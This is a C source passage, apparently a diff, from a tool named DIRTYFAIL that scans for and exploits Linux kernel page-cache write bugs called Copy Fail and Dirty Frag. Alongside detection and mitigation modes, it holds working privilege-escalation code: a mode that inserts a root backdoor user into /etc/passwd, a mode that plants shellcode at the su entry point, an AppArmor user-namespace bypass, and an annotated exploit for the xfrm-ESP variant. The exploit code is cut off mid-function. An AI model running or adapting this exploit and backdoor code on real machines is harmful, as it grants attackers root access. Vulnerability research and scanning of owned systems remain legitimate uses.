" --exploit-backdoor PERSISTENT: insert dirtyfail::0:0:..:/:/bin/bash\n"
" into /etc/passwd page cache; survives shell exit\n"
" until page eviction. Use --cleanup-backdoor to revert.\n"
" --exploit-su V4bel-style: plant arch-specific shellcode at\n"
" /usr/bin/su entry point in page cache; running\n"
" su then yields a /bin/sh root shell. No PAM\n"
" dependency. x86_64 tested; aarch64 ships but is\n"
" hardware-untested (gated behind an env var).\n"
" Saves original entry-point bytes to\n"
" /var/tmp/.dirtyfail-su.state for revert via\n"
" --cleanup-su.\n"
" --cleanup evict /etc/passwd from page cache and drop_caches\n"
" --cleanup-backdoor restore /etc/passwd line from /var/tmp/.dirtyfail.state\n"
" --cleanup-su restore /usr/bin/su entry-point bytes from state file\n"
" --list-state report what (if anything) is currently planted —\n"
" reads /var/tmp/.dirtyfail*.state files and\n"
" describes each. Side-effect free.\n"
" --mitigate DEFENSIVE: blacklist algif_aead/esp4/esp6/rxrpc,\n"
" set apparmor_restrict_unprivileged_userns=1.\n"
" Requires root. Side-effect: breaks IPsec/AFS.\n"
" --cleanup-mitigate remove the modprobe/sysctl mitigation files\n"
" --version print version\n"
" --help this message\n"
"\n"
"Options:\n"
" --active in --scan / --check-* mode, do an active sentinel\n"
" STORE probe per CVE in addition to precondition\n"
" checks. Modifies /tmp sentinels only; never\n"
" touches /etc/passwd. Requires AA bypass on\n"
" hardened distros, so may take ~5-10s.\n"
" --no-shell after a successful exploit, do NOT execve `su`;\n"
" instead revert the page-cache patch and exit\n"
" --no-revert with --no-shell, also skip the auto-revert\n"
" (leaves the page cache poisoned — used by\n"
" tools/dirtyfail-container-escape.sh demo)\n"
" --json emit a single JSON object on stdout (--scan\n"
" only); all log output redirected to stderr.\n"
" Suitable for SIEM/fleet scanning. Implies\n"
" --no-color and suppresses the banner.\n"
" --no-color disable ANSI color in output\n"
" --aa-bypass force the AppArmor unprivileged-userns bypass\n"
" (auto-armed when restricted profile is detected)\n"
"\n"
"Exit codes:\n"
" 0 not vulnerable / clean 2 vulnerable 5 exploit succeeded\n"
" 1 test error 3 exploit failed 4 preconditions missing\n"
"\n"
"AUTHORIZED TESTING ONLY. Run only on systems you own or are explicitly\n"
"engaged to assess. The --exploit modes corrupt /etc/passwd in the\n"
"kernel page cache; cleanup with --cleanup or `echo 3 > /proc/sys/vm/drop_caches`.\n",
prog);
}
enum mode {
MODE_SCAN,
MODE_CHECK_COPYFAIL,
MODE_CHECK_ESP,
MODE_CHECK_ESP6,
MODE_CHECK_RXRPC,
MODE_CHECK_GCM,
MODE_EXPLOIT_COPYFAIL,
MODE_EXPLOIT_ESP,
MODE_EXPLOIT_ESP6,
MODE_EXPLOIT_RXRPC,
MODE_EXPLOIT_GCM,
MODE_EXPLOIT_BACKDOOR,
MODE_EXPLOIT_SU,
MODE_CLEANUP,
MODE_CLEANUP_BACKDOOR,
MODE_CLEANUP_SU,
MODE_MITIGATE,
MODE_CLEANUP_MITIGATE,
MODE_LIST_STATE,
MODE_HELP,
MODE_VERSION,
};
#define DIRTYFAIL_VERSION "0.1.0"
int main(int argc, char **argv)
{
/* Pick up flags that need to survive AA-bypass fork+re-exec via env.
* The child re-execs with its own argv (stage tags only), so flags
* set in the parent's argv don't reach the child unless we propagate
* them through env vars. --json is the main case: without this, the
* child's log_* output goes to stdout and corrupts the JSON document
* the parent is building. */
if (getenv("DIRTYFAIL_JSON")) {
dirtyfail_json = true;
dirtyfail_use_color = false;
}
/* If we're a re-exec from the apparmor bypass dance, route to the
* stage handler immediately. Stage 1 re-execs to stage 2; stage 2
* unshares + raises caps, then either:
* (a) DIRTYFAIL_INNER_MODE is set → we're a fork-based exploit
* child. Dispatch to the inner handler and exit. Parent
* (init ns) reaps us and continues with verify + su.
* (b) Not set → legacy `--aa-bypass` whole-process mode; fall
* through to the normal main() flow with rewritten argv. */
if (apparmor_bypass_is_stage(argc, argv)) {
int new_argc = argc;
char **new_argv = argv;
if (apparmor_bypass_run_stage(argc, argv, &new_argc, &new_argv) != 0) {
fprintf(stderr, "apparmor bypass stage failed\n");
return 1;
}
const char *inner = getenv("DIRTYFAIL_INNER_MODE");
if (inner && *inner) {
df_result_t r = DF_TEST_ERROR;
if (strcmp(inner, "esp") == 0) r = dirtyfrag_esp_exploit_inner();
else if (strcmp(inner, "esp6") == 0) r = dirtyfrag_esp6_exploit_inner();
else if (strcmp(inner, "rxrpc") == 0) r = dirtyfrag_rxrpc_exploit_inner();
else if (strcmp(inner, "gcm") == 0) r = copyfail_gcm_exploit_inner();
else if (strcmp(inner, "esp-probe") == 0) r = dirtyfrag_esp_active_probe_inner();
else if (strcmp(inner, "esp6-probe") == 0) r = dirtyfrag_esp6_active_probe_inner();
else if (strcmp(inner, "rxrpc-probe") == 0) r = dirtyfrag_rxrpc_active_probe_inner();
else if (strcmp(inner, "gcm-probe") == 0) r = copyfail_gcm_active_probe_inner();
else if (strcmp(inner, "backdoor-install") == 0) r = backdoor_install_inner();
else if (strcmp(inner, "backdoor-cleanup") == 0) r = backdoor_cleanup_inner();
else {
fprintf(stderr, "unknown DIRTYFAIL_INNER_MODE: %s\n", inner);
r = DF_TEST_ERROR;
}
return (int)r;
}
argc = new_argc;
argv = new_argv;
}
enum mode m = MODE_SCAN;
bool do_shell = true;
bool aa_bypass = false;
static const struct option opts[] = {
{"scan", no_argument, NULL, 'S'},
{"check-copyfail", no_argument, NULL, 1 },
{"check-esp", no_argument, NULL, 2 },
{"check-rxrpc", no_argument, NULL, 3 },
{"check-esp6", no_argument, NULL, 9 },
{"check-gcm", no_argument, NULL, 10 },
{"exploit-copyfail", no_argument, NULL, 4 },
{"exploit-esp", no_argument, NULL, 5 },
{"exploit-esp6", no_argument, NULL, 11 },
{"exploit-rxrpc", no_argument, NULL, 7 },
{"exploit-gcm", no_argument, NULL, 12 },
{"exploit-backdoor", no_argument, NULL, 13 },
{"cleanup", no_argument, NULL, 6 },
{"cleanup-backdoor", no_argument, NULL, 14 },
{"mitigate", no_argument, NULL, 15 },
{"cleanup-mitigate", no_argument, NULL, 16 },
{"active", no_argument, NULL, 17 },
{"exploit-su", no_argument, NULL, 18 },
{"cleanup-su", no_argument, NULL, 19 },
{"no-revert", no_argument, NULL, 20 },
{"json", no_argument, NULL, 21 },
{"list-state", no_argument, NULL, 22 },
{"no-shell", no_argument, NULL, 'n'},
{"no-color", no_argument, NULL, 'C'},
{"aa-bypass", no_argument, NULL, 8 },
{"help", no_argument, NULL, 'h'},
{"version", no_argument, NULL, 'V'},
{0,0,0,0}
};
int c;
while ((c = getopt_long(argc, argv, "ShVnC", opts, NULL)) != -1) {
switch (c) {
case 'S': m = MODE_SCAN; break;
case 1 : m = MODE_CHECK_COPYFAIL; break;
case 2 : m = MODE_CHECK_ESP; break;
case 3 : m = MODE_CHECK_RXRPC; break;
case 4 : m = MODE_EXPLOIT_COPYFAIL; break;
case 5 : m = MODE_EXPLOIT_ESP; break;
case 7 : m = MODE_EXPLOIT_RXRPC; break;
case 6 : m = MODE_CLEANUP; break;
case 9 : m = MODE_CHECK_ESP6; break;
case 10 : m = MODE_CHECK_GCM; break;
case 11 : m = MODE_EXPLOIT_ESP6; break;
case 12 : m = MODE_EXPLOIT_GCM; break;
case 13 : m = MODE_EXPLOIT_BACKDOOR; break;
case 14 : m = MODE_CLEANUP_BACKDOOR; break;
case 15 : m = MODE_MITIGATE; break;
case 16 : m = MODE_CLEANUP_MITIGATE; break;
case 17 : dirtyfail_active_probes = true; break;
case 18 : m = MODE_EXPLOIT_SU; break;
case 19 : m = MODE_CLEANUP_SU; break;
case 20 : dirtyfail_no_revert = true; break;
case 21 : dirtyfail_json = true;
dirtyfail_use_color = false;
/* Propagate through fork+re-exec for AA bypass children */
setenv("DIRTYFAIL_JSON", "1", 1);
break;
case 22 : m = MODE_LIST_STATE; break;
case 'n': do_shell = false; break;
case 'C': dirtyfail_use_color = false; break;
case 8 : aa_bypass = true; break;
case 'h': m = MODE_HELP; break;
case 'V': m = MODE_VERSION; break;
default : usage(argv[0]); return 1;
}
}
if (m == MODE_HELP) { usage(argv[0]); return 0; }
if (m == MODE_VERSION) { puts("DIRTYFAIL " DIRTYFAIL_VERSION); return 0; }
/* Exploit modes now do their OWN fork-based AA bypass internally
* (parent stays in init ns for the post-exploit `su` to drop into
* REAL init-ns root). We only arm the legacy whole-process bypass
* when the operator explicitly requests it via --aa-bypass — that
* path is mostly useful for debugging the bypass mechanics in
* isolation, not for actual exploitation. */
if (aa_bypass) {
log_warn("--aa-bypass: arming legacy whole-process bypass");
log_hint("note: exploit modes now do their own fork-based bypass; "
"this flag is for debugging only and may break su afterwards.");
if (apparmor_bypass_arm_and_relaunch(argc, argv) != 0) {
log_warn("apparmor bypass failed (%s) — continuing un-bypassed",
strerror(errno));
}
}
if (!dirtyfail_json) {
if (dirtyfail_use_color) fputs("\033[1;35m", stdout);
fputs(BANNER, stdout);
if (dirtyfail_use_color) fputs("\033[0m", stdout);
fputc('\n', stdout);
}
df_result_t r = DF_OK;
switch (m) {
case MODE_SCAN: {
log_step("running full scan — five detectors\n");
df_result_t a = copyfail_detect(); if (!dirtyfail_json) fputc('\n', stdout);
df_result_t b = dirtyfrag_esp_detect(); if (!dirtyfail_json) fputc('\n', stdout);
df_result_t b6 = dirtyfrag_esp6_detect(); if (!dirtyfail_json) fputc('\n', stdout);
df_result_t c2 = dirtyfrag_rxrpc_detect(); if (!dirtyfail_json) fputc('\n', stdout);
df_result_t g = copyfail_gcm_detect(); if (!dirtyfail_json) fputc('\n', stdout);
const char *label[] = {
[DF_OK] = "not vulnerable",
[DF_TEST_ERROR] = "test error",
[DF_VULNERABLE] = "VULNERABLE",
[DF_PRECOND_FAIL] = "preconditions missing",
};
const char *json_label[] = {
[DF_OK] = "not_vulnerable",
[DF_TEST_ERROR] = "test_error",
[DF_VULNERABLE] = "vulnerable",
[DF_PRECOND_FAIL] = "preconds_missing",
};
if (!dirtyfail_json) {
log_step("scan summary:");
log_hint(" Copy Fail (algif_aead, CVE-2026-31431): %s", label[a & 7]);
log_hint(" Dirty Frag ESP v4 (CVE-2026-43284): %s", label[b & 7]);
log_hint(" Dirty Frag ESP v6 (CVE-2026-43284 v6): %s", label[b6 & 7]);
log_hint(" Dirty Frag RxRPC (CVE-2026-43500): %s", label[c2 & 7]);
log_hint(" Copy Fail GCM variant (xfrm rfc4106): %s", label[g & 7]);
}
if (a == DF_VULNERABLE || b == DF_VULNERABLE || b6 == DF_VULNERABLE ||
c2 == DF_VULNERABLE || g == DF_VULNERABLE)
r = DF_VULNERABLE;
else if (a == DF_TEST_ERROR || b == DF_TEST_ERROR || b6 == DF_TEST_ERROR ||
c2 == DF_TEST_ERROR || g == DF_TEST_ERROR)
r = DF_TEST_ERROR;
else
r = DF_OK;
if (dirtyfail_json) {
struct utsname u; uname(&u);
const char *summary = json_label[r & 7];
printf("{\n");
printf(" \"tool\": \"dirtyfail\",\n");
printf(" \"version\": \"" DIRTYFAIL_VERSION "\",\n");
printf(" \"hostname\": \"%s\",\n", u.nodename);
printf(" \"kernel\": \"%s\",\n", u.release);
printf(" \"machine\": \"%s\",\n", u.machine);
printf(" \"active_probes\": %s,\n",
dirtyfail_active_probes ? "true" : "false");
printf(" \"results\": [\n");
printf(" {\"cve\": \"CVE-2026-31431\", \"name\": \"copyfail\", \"status\": \"%s\"},\n", json_label[a & 7]);
printf(" {\"cve\": \"CVE-2026-43284\", \"name\": \"dirtyfrag-esp\", \"status\": \"%s\"},\n", json_label[b & 7]);
printf(" {\"cve\": \"CVE-2026-43284-v6\", \"name\": \"dirtyfrag-esp6\", \"status\": \"%s\"},\n", json_label[b6 & 7]);
printf(" {\"cve\": \"CVE-2026-43500\", \"name\": \"dirtyfrag-rxrpc\", \"status\": \"%s\"},\n", json_label[c2 & 7]);
printf(" {\"cve\": \"CVE-2026-31431-gcm\", \"name\": \"copyfail-gcm\", \"status\": \"%s\"}\n", json_label[g & 7]);
printf(" ],\n");
printf(" \"summary\": \"%s\"\n", summary);
printf("}\n");
}
break;
}
case MODE_CHECK_COPYFAIL: r = copyfail_detect(); break;
case MODE_CHECK_ESP: r = dirtyfrag_esp_detect(); break;
case MODE_CHECK_ESP6: r = dirtyfrag_esp6_detect(); break;
case MODE_CHECK_RXRPC: r = dirtyfrag_rxrpc_detect(); break;
case MODE_CHECK_GCM: r = copyfail_gcm_detect(); break;
case MODE_EXPLOIT_COPYFAIL:
log_warn("running real PoC for Copy Fail (CVE-2026-31431)");
r = copyfail_exploit(do_shell);
break;
case MODE_EXPLOIT_ESP:
log_warn("running real PoC for Dirty Frag xfrm-ESP (CVE-2026-43284)");
r = dirtyfrag_esp_exploit(do_shell);
break;
case MODE_EXPLOIT_RXRPC:
log_warn("running real PoC for Dirty Frag RxRPC (CVE-2026-43500)");
r = dirtyfrag_rxrpc_exploit(do_shell);
break;
case MODE_EXPLOIT_ESP6:
log_warn("running real PoC for Dirty Frag IPv6 xfrm-ESP");
r = dirtyfrag_esp6_exploit(do_shell);
break;
case MODE_EXPLOIT_GCM:
log_warn("running real PoC for Copy Fail GCM variant (rfc4106)");
r = copyfail_gcm_exploit(do_shell);
break;
case MODE_EXPLOIT_BACKDOOR:
log_warn("installing PERSISTENT backdoor user 'dirtyfail' (page-cache only)");
r = backdoor_install(do_shell);
break;
case MODE_CLEANUP_BACKDOOR:
r = backdoor_cleanup();
break;
case MODE_EXPLOIT_SU:
log_warn("planting x86_64 shellcode at /usr/bin/su entry point (page cache)");
r = exploit_su_shellcode(do_shell);
break;
case MODE_CLEANUP_SU:
r = cleanup_su_shellcode();
break;
case MODE_MITIGATE:
r = mitigate_apply();
break;
case MODE_CLEANUP_MITIGATE:
r = mitigate_revert();
break;
case MODE_LIST_STATE: {
log_step("--list-state: scanning /var/tmp for stashed dirtyfail state files");
bool any = false;
if (backdoor_list_state()) any = true;
if (exploit_su_list_state()) any = true;
if (!any) {
log_ok("no dirtyfail state files present — system is clean");
} else {
log_hint("(state files only describe what was planted — they do");
log_hint(" not by themselves prove the page cache is still poisoned;");
log_hint(" run `--cleanup` / `--cleanup-backdoor` / `--cleanup-su`");
log_hint(" to evict + restore.)");
}
r = DF_OK;
break;
}
case MODE_CLEANUP:
log_step("evicting /etc/passwd page cache");
if (geteuid() != 0) {
/* POSIX_FADV_DONTNEED on a read-only fd held by a non-root
* user *silently no-ops* on Linux — fadvise returns 0 but
* does not actually evict any pages. The only path that
* works without write access is `drop_caches`, which
* itself needs root. So warn the operator clearly. */
log_warn("running as non-root: POSIX_FADV_DONTNEED will return 0 "
"but NOT evict any pages (kernel ignores it for readers "
"without write access). The page-cache STORE will persist "
"until eviction by memory pressure or reboot.");
log_warn("re-run as 'sudo dirtyfail --cleanup' to drop_caches.");
} else {
int fd = open("/etc/passwd", O_RDONLY);
if (fd >= 0) {
#ifdef POSIX_FADV_DONTNEED
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
#endif
close(fd);
}
log_step("dropping caches");
if (drop_caches()) log_ok("drop_caches OK");
else log_warn("drop_caches failed: %s", strerror(errno));
}
r = DF_OK;
break;
default:
usage(argv[0]);
return 1;
}
return (int)r;
}
@@ -0,0 +1,804 @@
/*
* DIRTYFAIL — dirtyfrag_esp.c — Dirty Frag xfrm-ESP variant
* CVE-2026-43284
*
* BACKGROUND
* ----------
* In Linux, esp_input() runs the AEAD decryption in-place on the
* incoming skb. Before that, an skb whose payload sits in a frag (i.e.
* not in the linear head — the case that arises when userspace plants
* a page via splice()) is supposed to be cloned out into kernel-owned
* memory by skb_cow_data(). The bug:
*
* if (!skb_cloned(skb)) {
* if (!skb_is_nonlinear(skb)) {
* nfrags = 1;
* goto skip_cow;
* } else if (!skb_has_frag_list(skb)) {
* nfrags = skb_shinfo(skb)->nr_frags;
* nfrags++;
* goto skip_cow; // <-- vulnerable branch
* }
* }
*
* If the skb has frags but no frag_list, esp_input skips the COW and
* runs in-place AEAD on the user-supplied page. The same authencesn
* scratch-write that powers Copy Fail then lands at file offset
* (assoclen + cryptlen) inside that page. The 4 STOREd bytes are
* `seq_hi` from the SA's replay_esn state, which userspace controls
* via XFRMA_REPLAY_ESN_VAL on SA registration.
*
* Net result: same 4-byte arbitrary-offset write into a page-cache
* page as Copy Fail, but reachable via the xfrm path *even when
* algif_aead is blacklisted as a Copy Fail mitigation*.
*
* COST: registering an XFRM SA needs CAP_NET_ADMIN, so the attacker
* must enter a fresh user namespace first. This is allowed by default
* on most distros except hardened Ubuntu (AppArmor restrict_unprivileged_userns).
*
* DETECTION STRATEGY
* ------------------
* Precondition-based: we report VULNERABLE when *all* of these hold:
* - kernel >= 4.10 (commit cac2661c53f3, 2017-01-17) and not patched
* - esp4 module loadable (we don't insmod; rely on autoload)
* - unprivileged user namespace creation works
*
* Avoiding the actual primitive in detect mode keeps the system
* undisturbed (no namespaces created in the parent, no encap sockets,
* no transient SAs). The exploit path runs the full primitive for real.
*
* EXPLOIT STRATEGY
* ----------------
* Same UID-flip as Copy Fail, but driven through xfrm:
*
* 1. fork() — parent stays in init userns to call su afterwards
* 2. child: unshare(CLONE_NEWUSER | CLONE_NEWNET)
* 3. child: write deny → /proc/self/setgroups
* 4. child: write "0 <real_uid> 1" → /proc/self/uid_map (and gid_map)
* 5. child: ioctl SIOCSIFFLAGS to bring lo UP
* 6. child: open NETLINK_XFRM, register SA with:
* proto=ESP, mode=TRANSPORT, flags=XFRM_STATE_ESN,
* alg=authencesn(hmac(sha256),cbc(aes)) (zero keys),
* encap=ESPINUDP sport=dport=4500,
* replay_esn.seq_hi = "0000" (the 4 bytes that will land)
* 7. child: open udp_recv @ 127.0.0.1:4500 with UDP_ENCAP_ESPINUDP
* and udp_send connected to 127.0.0.1:4500
* 8. child: pipe(); vmsplice forged ESP wire header (24 bytes) →
* splice /etc/passwd at uid_off, len 16 → splice pipe → udp_send
* 9. child: recvmsg drives the kernel through the esp_input path,
* firing the 4-byte STORE of "0000" into /etc/passwd
* at the user's UID offset
* 10. child: exits, parent verifies via fresh open of /etc/passwd
* 11. parent: execlp("su", username) — PAM checks /etc/shadow on
* disk (untouched), gets right password, setuid(0) lands
* us at root because the page-cache copy of /etc/passwd
* now lists us as UID 0.
*/
#include "dirtyfrag_esp.h"
#include "apparmor_bypass.h"
#include <fcntl.h>
#include <pwd.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/uio.h>
#ifdef __linux__
#include <sys/syscall.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>
#include <linux/if.h>
#include <sys/ioctl.h>
#endif
/* UDP_ENCAP / UDP_ENCAP_ESPINUDP live in <linux/udp.h>, but that header
* conflicts with <netinet/udp.h> over `struct udphdr` and we don't
* actually need the struct. The kernel constants are stable, so we
* just hard-code them as fallbacks (the #ifndef makes this a no-op if
* the toolchain happens to expose them already). */
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef IPPROTO_ESP
#define IPPROTO_ESP 50
#endif
#ifndef __linux__
#define CLONE_NEWUSER 0x10000000
#define CLONE_NEWNET 0x40000000
#define IFF_UP 0x01
#define IFF_RUNNING 0x40
#define SIOCSIFFLAGS 0x8914
struct sockaddr_in { int dummy; };
struct ifreq { int dummy; };
__attribute__((unused))
static ssize_t splice (int a, void *b, int c, void *d, size_t e, unsigned f)
{ (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return -1; }
__attribute__((unused))
static ssize_t vmsplice(int a, const struct iovec *b, unsigned long c, unsigned d)
{ (void)a;(void)b;(void)c;(void)d; errno=ENOSYS; return -1; }
__attribute__((unused))
static int ioctl (int a, unsigned long b, ...)
{ (void)a;(void)b; errno=ENOSYS; return -1; }
#else
extern ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out,
size_t len, unsigned int flags);
extern ssize_t vmsplice(int fd, const struct iovec *iov, unsigned long nr,
unsigned int flags);
#endif
#define ENCAP_PORT 4500
#define ESP_SPI 0xDEADBE10
#define MARKER "0000"
#define ALG_NAME "authencesn(hmac(sha256),cbc(aes))"
/* ---------------------------------------------------------------- *
* Detection
* ---------------------------------------------------------------- */
df_result_t dirtyfrag_esp_detect(void)
{
log_step("Dirty Frag — xfrm-ESP variant (CVE-2026-43284) — detection");
int km = -1, kn = -1;
if (kernel_version(&km, &kn))
log_hint("kernel %d.%d.x", km, kn);
/* The vulnerable branch was introduced in 2017 (cac2661c53f3) and
* the upstream fix is f4c50a4034e6 (2026-05-07). We can't easily
* tell whether a particular distro kernel has the backport, so we
* report based on prereq presence and let the operator decide. */
/* esp4 / esp6 modules. They autoload on first XFRM SA registration,
* but we want to know if the build supports them at all. /proc/modules
* lists currently-loaded; that's a strong positive signal. */
bool esp4 = kmod_loaded("esp4");
bool esp6 = kmod_loaded("esp6");
log_hint("esp4 currently loaded: %s", esp4 ? "yes" : "no");
log_hint("esp6 currently loaded: %s", esp6 ? "yes" : "no");
bool userns = unprivileged_userns_allowed();
log_hint("unprivileged user namespace: %s", userns ? "allowed" : "DENIED");
if (!userns) {
log_ok("xfrm-ESP variant unreachable without unprivileged userns");
log_hint("on Ubuntu, this is the expected hardening — but the RxRPC "
"variant of Dirty Frag may still be reachable. Run with "
"--check-rxrpc.");
return DF_PRECOND_FAIL;
}
if (!esp4 && !esp6) {
log_hint("no esp4/esp6 currently loaded; the kernel will autoload them "
"on first SA registration. We treat this as still vulnerable.");
}
/* On hardened distros (Ubuntu 26.04+) caps are stripped inside the
* userns even after our bypass — kernel may still have the bug but
* unprivileged users can't reach it. Report that honestly rather
* than claiming VULNERABLE. */
if (apparmor_userns_caps_blocked()) {
log_ok("LSM-mitigated — kernel may still have the bug but the AppArmor "
"policy denies CAP_NET_ADMIN inside any unprivileged userns.");
log_hint("unprivileged exploitation is blocked; real root can still "
"reach the kernel bug. Apply the kernel patch as soon as your "
"distro ships it.");
return DF_PRECOND_FAIL;
}
if (dirtyfail_active_probes) {
log_step("--active set: firing v4 ESP-in-UDP trigger against /tmp sentinel");
df_result_t pr = dirtyfrag_esp_active_probe();
if (pr == DF_VULNERABLE || pr == DF_OK || pr == DF_PRECOND_FAIL) return pr;
log_warn("active probe inconclusive — falling back to precondition verdict");
}
log_warn("VULNERABLE (preconditions met) — userns + xfrm SA registration "
"available, kernel within affected window");
log_warn("apply mainline patch f4c50a4034e6 or your distro's backport");
log_warn("interim mitigation: `dirtyfail --mitigate` or manually blacklist "
"esp4/esp6 in /etc/modprobe.d/");
log_hint("re-run with `--scan --active` for an empirical sentinel-STORE probe");
return DF_VULNERABLE;
}
/* ---------------------------------------------------------------- *
* Exploit — only compiled with full bodies on Linux.
* ---------------------------------------------------------------- */
#ifdef __linux__
/* Write a small string to a /proc file. */
static bool write_proc(const char *path, const char *value)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return false;
ssize_t want = strlen(value);
ssize_t got = write(fd, value, want);
close(fd);
return got == want;
}
/* ---- Netlink XFRM SA registration --------------------------------- *
*
* The XFRM SA registration is built by hand. Each attribute is a 4-byte
* aligned struct rtattr { u16 rta_len; u16 rta_type; } followed by
* payload. The total nlmsg length is filled in last.
*
* Register an XFRM_MSG_NEWSA carrying our marker in replay_esn.seq_hi.
*/
static bool xfrm_register_sa(int nl, const unsigned char seq_hi[4])
{
char buf[2048] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct xfrm_usersa_info *usa =
(struct xfrm_usersa_info *)NLMSG_DATA(nlh);
nlh->nlmsg_type = XFRM_MSG_NEWSA;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = 1;
/* Selector: src/dst 127.0.0.1, IPv4 */
usa->sel.daddr.a4 = htonl(0x7f000001);
usa->sel.saddr.a4 = htonl(0x7f000001);
usa->sel.family = AF_INET;
usa->sel.prefixlen_d = 32;
usa->sel.prefixlen_s = 32;
usa->id.daddr.a4 = htonl(0x7f000001);
usa->id.spi = htonl(ESP_SPI);
usa->id.proto = IPPROTO_ESP;
usa->saddr.a4 = htonl(0x7f000001);
usa->lft.soft_byte_limit = (uint64_t)-1;
usa->lft.hard_byte_limit = (uint64_t)-1;
usa->lft.soft_packet_limit = (uint64_t)-1;
usa->lft.hard_packet_limit = (uint64_t)-1;
usa->reqid = 0x1234;
usa->family = AF_INET;
usa->mode = XFRM_MODE_TRANSPORT;
usa->replay_window = 0; /* SA-level: 0; ESN-level (below): 32 */
usa->flags = XFRM_STATE_ESN;
size_t hdrlen = sizeof(*nlh) + sizeof(*usa);
size_t attrs = 0;
char *abuf = buf + hdrlen;
/*
* The kernel's xfrm code does NOT accept `authencesn(...)` as a
* single XFRMA_ALG_AEAD attribute — it's a composition that has
* to be assembled from separate auth + crypt parts. We register:
* XFRMA_ALG_AUTH_TRUNC : hmac(sha256) with 32-byte key, 128-bit ICV
* XFRMA_ALG_CRYPT : cbc(aes) with 16-byte key
*
* The kernel internally wires these into authencesn(hmac(sha256),
* cbc(aes)) when it sees XFRM_STATE_ESN on the SA.
*/
{ /* XFRMA_ALG_AUTH_TRUNC */
struct xfrm_algo_auth *aa;
unsigned short dlen = sizeof(*aa) + 32; /* HMAC-SHA256 key */
struct rtattr *r = (struct rtattr *)(abuf + attrs);
r->rta_type = XFRMA_ALG_AUTH_TRUNC;
r->rta_len = RTA_LENGTH(dlen);
aa = (struct xfrm_algo_auth *)RTA_DATA(r);
memset(aa, 0, dlen);
strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name) - 1);
aa->alg_key_len = 32 * 8; /* bits */
aa->alg_trunc_len = 128; /* bits — truncated MAC width */
attrs += RTA_SPACE(dlen);
}
{ /* XFRMA_ALG_CRYPT */
struct xfrm_algo *ea;
unsigned short dlen = sizeof(*ea) + 16; /* AES-128 key */
struct rtattr *r = (struct rtattr *)(abuf + attrs);
r->rta_type = XFRMA_ALG_CRYPT;
r->rta_len = RTA_LENGTH(dlen);
ea = (struct xfrm_algo *)RTA_DATA(r);
memset(ea, 0, dlen);
strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name) - 1);
ea->alg_key_len = 16 * 8;
attrs += RTA_SPACE(dlen);
}
/* XFRMA_REPLAY_ESN_VAL — this is where seq_hi rides */
{
struct xfrm_replay_state_esn *esn;
unsigned short dlen = sizeof(*esn) + 4; /* bmp_len * 4 = 4 */
struct rtattr *r = (struct rtattr *)(abuf + attrs);
r->rta_type = XFRMA_REPLAY_ESN_VAL;
r->rta_len = RTA_LENGTH(dlen);
esn = (struct xfrm_replay_state_esn *)RTA_DATA(r);
memset(esn, 0, dlen);
esn->bmp_len = 1;
esn->oseq = 0;
esn->seq = 100;
esn->oseq_hi = 0;
memcpy(&esn->seq_hi, seq_hi, 4); /* THE PRIMITIVE INPUT */
esn->replay_window = 32;
attrs += RTA_SPACE(dlen);
}
/* XFRMA_ENCAP — UDP encapsulation, sport=dport=4500 */
{
struct xfrm_encap_tmpl *enc;
unsigned short dlen = sizeof(*enc);
struct rtattr *r = (struct rtattr *)(abuf + attrs);
r->rta_type = XFRMA_ENCAP;
r->rta_len = RTA_LENGTH(dlen);
enc = (struct xfrm_encap_tmpl *)RTA_DATA(r);
memset(enc, 0, dlen);
enc->encap_type = UDP_ENCAP_ESPINUDP;
enc->encap_sport = htons(ENCAP_PORT);
enc->encap_dport = htons(ENCAP_PORT);
enc->encap_oa.a4 = 0;
attrs += RTA_SPACE(dlen);
}
nlh->nlmsg_len = hdrlen + attrs;
struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
if (sendto(nl, buf, nlh->nlmsg_len, 0,
(struct sockaddr *)&nladdr, sizeof(nladdr)) < 0)
return false;
/* Drain ACK */
char ack[4096];
ssize_t n = recv(nl, ack, sizeof(ack), 0);
if (n < (ssize_t)sizeof(struct nlmsghdr)) return false;
struct nlmsghdr *r = (struct nlmsghdr *)ack;
if (r->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(r);
if (e->error != 0) {
log_bad("XFRM_MSG_NEWSA: %s", strerror(-e->error));
return false;
}
}
return true;
}
/* Bring loopback up inside the new netns. */
static bool bring_lo_up(void)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return false;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
ifr.ifr_flags = IFF_UP | IFF_RUNNING;
int rc = ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
return rc == 0;
}
/* Trigger esp_input by sending a forged ESP-in-UDP packet whose payload
* is a page-cache page from `target_path`, planted via splice at
* `splice_off`. The kernel STORE lands ~14 bytes into the spliced
* region (the v4 path has no V6_STORE_SHIFT-style offset). */
static bool trigger_store_at(const char *target_path, loff_t splice_off)
{
/* udp_recv: bound to 127.0.0.1:4500 with UDP_ENCAP_ESPINUDP set so
* incoming UDP frames are rerouted into xfrm_input -> esp_input. */
int udp_recv = socket(AF_INET, SOCK_DGRAM, 0);
if (udp_recv < 0) return false;
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(ENCAP_PORT),
.sin_addr.s_addr = htonl(0x7f000001),
};
int reuse = 1;
setsockopt(udp_recv, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse));
if (bind(udp_recv, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
log_bad("bind udp_recv: %s", strerror(errno));
close(udp_recv); return false;
}
int encap = UDP_ENCAP_ESPINUDP;
